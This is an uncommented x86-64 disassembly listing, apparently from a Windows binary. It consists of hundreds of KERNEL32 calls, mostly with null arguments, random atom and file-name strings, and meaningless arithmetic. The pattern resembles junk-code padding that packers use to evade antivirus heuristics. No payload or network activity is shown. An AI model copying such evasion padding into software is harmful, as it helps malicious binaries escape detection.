call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6540], eax
movsx eax, word [rsp + 0x9bc]
mov rcx, qword [rsp + 0xd528]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f7c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx ecx, word [rsp + 0x2084]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21b4], ax
mov rax, qword [rsp + 0xca28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x18e8], ax
lea rcx, [rsp + 0x205a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
lea rcx, str.J6M_bGJhAo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2468], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6644], eax
movzx eax, word [rsp + 0x2050]
mov rcx, qword [rsp + 0xce68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xca48]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xcb18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e48], rax
mov rax, qword [0x1401c8be8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e0], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
mov rax, qword [rsp + 0xd498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc590]
div qword [rcx]
mov rcx, qword [rsp + 0xd778]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rax, [rsp + 0x65d4]
mov qword [rsp + 0xdaf8], rax
movzx ecx, word [rsp + 0x21a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f40], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x214c]
and eax, ecx
mov word [rsp + 0x2098], ax
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a24]
xor eax, ecx
mov word [0x1401c7150], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6840], eax
movzx ecx, word [rsp + 0x224c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x239c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1401c8ba8]
mov rcx, qword [rsp + 0xc868]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd648]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov word [rsp + 0x2484], ax
mov rax, qword [rsp + 0xcf48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6770]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce00]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rax, [rsp + 0x391]
mov qword [rsp + 0xdb00], rax
mov eax, dword [rsp + 0x6728]
movzx ecx, al
mov eax, dword [rsp + 0x60f4]
shr eax, cl
mov dword [rsp + 0x62a4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdb08], rax
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xdb10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa760], rax
lea rcx, str.VqlkaF_JypGlQkoQy2aT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x22e4], ax
movsx eax, byte [rsp + 0x3a5]
mov rcx, qword [rsp + 0xd8d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f], al
movsx eax, word [rsp + 0x2174]
movsx ecx, word [rsp + 0x18e8]
add eax, ecx
mov word [rsp + 0x21ac], ax
mov rcx, qword [rsp + 0xcf40]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x2078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f80], ax
lea rax, [rsp + 0x2304]
mov qword [0x1401c8d48], rax
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov qword [rsp + 0xdb18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd738]
mov rax, qword [rax]
mov rcx, qword [0x1401c7058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc80], rax
lea rax, [rsp + 0x2374]
mov qword [rsp + 0xdb20], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6324], eax
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0x2288]
shl eax, cl
mov rcx, qword [rsp + 0xc980]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6780], eax
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0x9588]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbfd8], rax
lea rax, [rsp + 0xf2]
mov qword [rsp + 0xdb28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6590], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdb30], rax
lea rcx, [rsp + 0x20158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x1401c8ab0]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xdb38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6494], eax
lea rax, [rsp + 0xce80]
mov qword [rsp + 0xdb40], rax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dac]
xor eax, ecx
mov word [0x1401c8bb4], ax
movzx eax, word [rsp + 0x216c]
movzx ecx, word [rsp + 0x1678]
and eax, ecx
mov word [rsp + 0x22f8], ax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x395]
sub eax, ecx
mov byte [rsp + 0x3c1], al
mov eax, dword [rsp + 0x6838]
mov ecx, dword [rsp + 0x6584]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c6c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rcx, [rsp + 0x1d778]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov edx, 0x13ef
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65a8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.tMdyDHcXAWSXFdjOF0cb2823d0xUR5jCsNo2H
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdb48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64b4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65b8], eax
mov rax, qword [rsp + 0x9c98]
movzx ecx, al
mov rax, qword [rsp + 0xbb50]
sar rax, cl
mov qword [rsp + 0xd4c0], rax
movzx ecx, word [rsp + 0x219c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2468], ax
mov rax, qword [rsp + 0xc430]
mov eax, dword [rax]
mov dword [rsp + 0x6844], eax
mov rax, qword [rsp + 0xd608]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x205]
shl eax, cl
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0x9900]
mov rcx, qword [0x1401c8cc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf50], rax
movzx eax, word [rsp + 0x1b38]
mov word [rsp + 0x2488], ax
movzx eax, word [rsp + 0x16b8]
mov word [0x1401c8d50], ax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc500]
mov qword [rsp + 0x9928], rax
movzx eax, word [rsp + 0x21f8]
movzx ecx, word [rsp + 0x1fac]
sub eax, ecx
mov word [rsp + 0x1180], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
movsx ecx, word [0x1401c703c]
add eax, ecx
mov word [rsp + 0x2238], ax
mov rax, qword [rsp + 0xd780]
mov qword [rsp + 0xdb50], rax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6604], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
mov r9d, 0x17f9
xor r8d, r8d
lea rdx, [rsp + 0xd250]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x65a0], eax
mov rax, qword [rsp + 0xd4e0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a26]
add eax, ecx
mov byte [rsp + 0x3b1], al
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xd6e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae00], rax
mov rax, qword [rsp + 0xd530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
or eax, ecx
mov word [rsp + 0x2050], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xba40]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xdb58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb58]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401c7198], rax
lea rax, [rsp + 0x3c1]
mov qword [rsp + 0xdb60], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdb68], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor r9d, r9d
lea r8, [rsp + 0xd5a8]
mov rdx, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xcfc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x671c], eax
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x597c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6734], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc9f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1608]
xor eax, ecx
mov word [rsp + 0xa10], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6834], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov word [rsp + 0x248c], ax
mov rax, qword [rsp + 0xd870]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x64f0]
shr eax, cl
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
lea rax, [rsp + 0x39e]
mov qword [rsp + 0xdb70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdb78], rax
mov edx, 0x23dc
mov rcx, qword [rsp + 0xcda8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6430], eax
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6848], eax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xa1d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd5b0], rax
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x22fc], ax
mov rax, qword [rsp + 0xcdf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd530]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8d00], ax
mov rax, qword [rsp + 0xd188]
movzx ecx, al
mov rax, qword [rsp + 0x9c98]
sar rax, cl
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0xb9c8]
mov rcx, qword [rsp + 0xc2e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd370], rax
mov rax, qword [rsp + 0xa800]
mov qword [rsp + 0xdb80], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65c8], eax
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
movsx ecx, word [0x1401c8bb8]
sub eax, ecx
mov word [rsp + 0x23c0], ax
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov qword [rsp + 0xdb88], rax
movsx eax, byte [rsp + 0x3b5]
movsx ecx, byte [rsp + 0x3a2]
add eax, ecx
mov byte [rsp + 0x310], al
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6254]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd190]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd8f8]
mov rcx, qword [rsp + 0xcd70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5b58], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64e0], eax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x187]
add eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [0x1401c8b80]
movzx eax, word [rax]
mov word [0x1401c8d54], ax
lea rcx, [rsp + 0x205d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x2490], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62b8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x1404]
movzx ecx, word [rsp + 0x11f8]
xor eax, ecx
mov rcx, qword [rsp + 0xd1b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xb578]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa850], rax
mov rax, qword [rsp + 0xd9e8]
mov rcx, qword [rsp + 0xbfd8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbe40], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.RnrgqxNFVIt6Xa0SL2oeU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdb90], rax
mov rax, qword [rsp + 0xd100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd090]
mov byte [rcx], al
mov eax, dword [rsp + 0x5e38]
mov dword [rsp + 0x684c], eax
movsx eax, word [rsp + 0x2424]
movsx ecx, word [rsp + 0x23bc]
sar eax, cl
mov word [rsp + 0x207c], ax
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6434], eax
movzx eax, word [rsp + 0x1aa0]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2110], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xd400]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401c7058], rax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [rsp + 0x2494], ax
lea rcx, str.QL_SpfH_Uarw7JZn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23e8], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6850], eax
mov rax, qword [0x1401c8aa0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd2e8]
sar rax, cl
mov qword [rsp + 0x9790], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rcx, str.pinfA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2388], ax
lea rax, [rsp + 0xd200]
mov qword [rsp + 0xdb98], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x65a8], eax
mov rax, qword [rsp + 0xd7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xa270]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd4b0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdba0], rax
mov rax, qword [rsp + 0xd940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xcb48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd70]
mov dword [rcx], eax
mov eax, dword [0x1401c7008]
mov dword [rsp + 0x6854], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, word [rsp + 0x1d58]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c8d2c], ax
movzx ecx, word [rsp + 0x2058]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x247c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [0x1401c8d38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2014], ax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfc8]
sar eax, cl
mov word [rsp + 0x1e2c], ax
movzx eax, word [rsp + 0x2278]
movzx ecx, word [rsp + 0x2264]
shl eax, cl
mov word [rsp + 0x2110], ax
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xd778]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov dword [rsp + 0x6858], eax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xd090]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.VH2IzBTk8WPMk24xWkljfzv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdba8], rax
mov rcx, qword [rsp + 0xd388]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xd820]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1401c8cb8]
movzx eax, word [rax]
mov word [rsp + 0x2498], ax
movzx ecx, word [rsp + 0x2448]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23b4], ax
movzx eax, word [rsp + 0x2390]
movzx ecx, word [rsp + 0xa88]
sub eax, ecx
mov rcx, qword [rsp + 0xd898]
mov word [rcx], ax
mov rax, qword [rsp + 0xccd8]
mov qword [0x1401c8d58], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdbb0], rax
mov rcx, qword [rsp + 0xd860]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xd6b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7d0], rax
mov r9d, 0x72b
xor r8d, r8d
lea rdx, [rsp + 0xdb30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66e8], eax
lea rax, [rsp + 0xd198]
mov qword [rsp + 0xdbb8], rax
mov rax, qword [rsp + 0xca00]
mov rcx, qword [rsp + 0xcc88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc9c0], rax
movzx eax, word [0x1401c8c1c]
mov rcx, qword [rsp + 0xd018]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14f8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x679c]
sar eax, cl
mov rcx, qword [rsp + 0xda78]
mov dword [rcx], eax
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xcb80]
mov rdx, qword [rsp + 0xdbc0]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x660c], eax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3cd], al
lea rdx, [rsp + 0x264f8]
mov rcx, qword [rsp + 0xd888]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66cc], eax
mov rax, qword [rsp + 0xcdd0]
mov rax, qword [rax]
mov qword [rsp + 0xdbc8], rax
lea rcx, [rsp + 0x1d7a0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b6]
add eax, ecx
mov byte [rsp + 0x397], al
xor r9d, r9d
lea r8, [rsp + 0xd330]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6840], eax
movzx ecx, word [rsp + 0x21bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x249c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
lea rax, [rsp + 0x58ec]
mov qword [0x1401c8d60], rax
movsx eax, word [rsp + 0x2118]
movsx ecx, word [rsp + 0xda0]
sub eax, ecx
mov word [rsp + 0xee8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x67f4], eax
movsx eax, word [rsp + 0x1130]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd8e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a24], ax
movzx ecx, word [rsp + 0x1f60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2468], ax
lea rcx, [rsp + 0x1d7c8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xd198]
mov qword [rsp + 0xdbd0], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd640]
mov qword [rsp + 0xdbd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6544], eax
movsx eax, byte [0x1401c8a17]
mov rcx, qword [rsp + 0xca90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x43], al
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xdbe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcb70], rax
movzx eax, word [rsp + 0x15cc]
mov word [rsp + 0x24a0], ax
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66dc], eax
movzx eax, word [rsp + 0x2158]
mov rcx, qword [rsp + 0xd998]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c71a0], ax
mov rax, qword [rsp + 0xd4c8]
mov rcx, qword [rsp + 0xc8f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdad8], rax
mov rax, qword [rsp + 0xd1b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2380]
add eax, ecx
mov word [rsp + 0x2438], ax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x3e1], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xdbe8], rax
lea rcx, [rsp + 0x205a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6658], eax
movzx ecx, word [rsp + 0x2298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24a4], ax
mov eax, dword [rsp + 0x64e8]
mov ecx, dword [rsp + 0x6654]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5eb0]
shr eax, cl
mov dword [rsp + 0x5a48], eax
